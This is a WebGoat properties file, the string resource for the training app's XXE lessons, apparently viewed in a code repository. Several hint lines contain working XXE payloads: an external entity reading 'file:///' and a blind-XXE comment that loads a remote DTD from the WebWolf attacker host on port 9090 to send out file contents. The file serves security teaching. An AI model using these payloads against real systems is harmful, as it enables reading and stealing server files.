ecb7688e08
Move WebWolf to port 9090 easier since most of the time something is running on 8081 Add scripts for easy building Docker files etc
47 lines
2.8 KiB
Properties
47 lines
2.8 KiB
Properties
#
|
|
# This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
|
# please see http://www.owasp.org/
|
|
# <p>
|
|
# Copyright (c) 2002 - 2017 Bruce Mayhew
|
|
# <p>
|
|
# This program is free software; you can redistribute it and/or modify it under the terms of the
|
|
# GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
|
# License, or (at your option) any later version.
|
|
# <p>
|
|
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
|
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
# General Public License for more details.
|
|
# <p>
|
|
# You should have received a copy of the GNU General Public License along with this program; if
|
|
# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
|
# 02111-1307, USA.
|
|
# <p>
|
|
# Getting Source ==============
|
|
# <p>
|
|
# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
|
# projects.
|
|
# <p>
|
|
#
|
|
xxe.title=XXE
|
|
xxe.simple.output=Welcome {0} you can now login to our website
|
|
xxe.content.type.feedback.json=You are posting JSON which does not work with a XXE
|
|
xxe.content.type.feedback.xml=You are posting XML but there is no XXE attack performed
|
|
xxe.content.output=Welcome {0} you can now login to our website
|
|
xxe.blind.output=Contents of the file is: {0}
|
|
|
|
xxe.hints.simple.xxe.1=Try submitting the form and see what happens
|
|
xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD
|
|
xxe.hints.simple.xxe.3=Try to include a doctype "(<!DOCTYPE...)" in the xml
|
|
xxe.hints.simple.xxe.4=The include can be as follows: <!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]>
|
|
xxe.hints.simple.xxe.5=Do not forget to reference the entity
|
|
xxe.hints.simple.xxe.6=In the comment you should references: <comment><text>&root;test</text></comment>
|
|
|
|
xxe.hints.content.type.xxe.1=Take a look at the content type
|
|
xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
|
|
|
|
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
|
|
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
|
|
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
|
|
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
|
|
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>
|